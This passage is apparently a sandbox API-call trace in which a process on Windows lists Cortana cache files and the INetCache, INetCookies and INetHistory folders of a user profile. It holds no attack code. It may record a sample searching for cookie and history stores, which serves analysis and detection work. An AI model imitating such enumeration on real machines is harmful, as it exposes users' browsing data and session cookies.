hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec08e559, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec08e559, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f53a34, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x382fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt", cAlternateFileName="C_82F5~1.TXT")) returned 1 [0216.348] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec08e559, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec08e559, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f79c92, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x19226, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt", cAlternateFileName="C_2306~1.TXT")) returned 1 [0216.349] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec08e559, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec08e559, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59f79c92, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x31194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt", cAlternateFileName="C_399E~1.TXT")) returned 1 [0216.349] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0b4810, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0b4810, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x397bcfe8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt", cAlternateFileName="C_503C~1.TXT")) returned 1 [0216.349] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0b4810, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0b4810, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x397bcfe8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x381, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt", cAlternateFileName="C_4A93~1.TXT")) returned 1 [0216.349] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0b4810, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0b4810, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt", cAlternateFileName="C_1F20~1.TXT")) returned 1 [0216.349] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0b4810, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0b4810, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt", cAlternateFileName="C_EA37~1.TXT")) returned 1 [0216.350] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0da981, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0da981, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt", cAlternateFileName="C_6402~1.TXT")) returned 1 [0216.350] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0da981, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0da981, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt", cAlternateFileName="C_EDCC~1.TXT")) returned 1 [0216.350] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec0da981, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec0da981, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt", cAlternateFileName="C_5782~1.TXT")) returned 1 [0216.351] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec100dd1, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec100dd1, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt", cAlternateFileName="C_6D1B~1.TXT")) returned 1 [0216.351] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec100dd1, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec100dd1, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xfaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt", cAlternateFileName="C_2CAF~1.TXT")) returned 1 [0216.351] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec173241, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec173241, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x39796d8e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt", cAlternateFileName="C_1617~1.TXT")) returned 1 [0216.351] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec173241, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec173241, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59ee1314, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x1eabf, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_28[1].txt", cAlternateFileName="C_2F38~1.TXT")) returned 1 [0216.352] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebd9357f, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59ebb0a5, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x42840, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt", cAlternateFileName="C__WIN~1.TXT")) returned 1 [0216.352] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebdbc8f6, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebdbc8f6, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59e94e30, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x3e1eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt", cAlternateFileName="C__WIN~2.TXT")) returned 1 [0216.352] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebdbc8f6, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebdbc8f6, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59e94e30, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt", cAlternateFileName="C__WIN~3.TXT")) returned 1 [0216.352] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebdbc8f6, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebdbc8f6, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59e6ebec, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x581f, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt", cAlternateFileName="C__WIN~4.TXT")) returned 1 [0216.353] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebf36f47, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xebf36f47, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0x59e6ebec, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x4bc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt", cAlternateFileName="C_345C~1.TXT")) returned 1 [0216.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.529] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\6", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\6", lpFilePart=0x0) returned 0x6b [0216.529] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\6\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\6\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebd9357f, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xec173241, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xec173241, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.531] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\8", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\8", lpFilePart=0x0) returned 0x6b [0216.531] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\8\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\8\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74be545, ftCreationTime.dwHighDateTime=0x1d70503, ftLastAccessTime.dwLowDateTime=0x74e4667, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0x75c698a, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db190) returned 1 [0216.532] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\8", nBufferLength=0x105, lpBuffer=0x1e0dac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\8", lpFilePart=0x0) returned 0x6b [0216.532] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\C1J92J4X\\8\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\c1j92j4x\\8\\*"), lpFindFileData=0x1e0daea0 | out: lpFindFileData=0x1e0daea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74be545, ftCreationTime.dwHighDateTime=0x1d70503, ftLastAccessTime.dwLowDateTime=0x74e4667, ftLastAccessTime.dwHighDateTime=0x1d70503, ftLastWriteTime.dwLowDateTime=0x75c698a, ftLastWriteTime.dwHighDateTime=0x1d70503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db0c0) returned 1 [0216.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db080) returned 1 [0216.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.533] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache", lpFilePart=0x0) returned 0x61 [0216.533] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2e68be50, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x2e68be50, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.536] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache", lpFilePart=0x0) returned 0x61 [0216.536] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2e68be50, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x2e68be50, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.539] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies", lpFilePart=0x0) returned 0x63 [0216.540] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x320c9b3d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x320c9b3d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.541] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies", lpFilePart=0x0) returned 0x63 [0216.541] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x320c9b3d, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x320c9b3d, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.542] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory", lpFilePart=0x0) returned 0x63 [0216.542] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inethistory\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6064f492, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6064f492, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0216.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0216.543] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory", lpFilePart=0x0) returned 0x63 [0216.543] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inethistory\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6064f492, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6064f492, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6064f492, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0216.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0216.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0216.544] 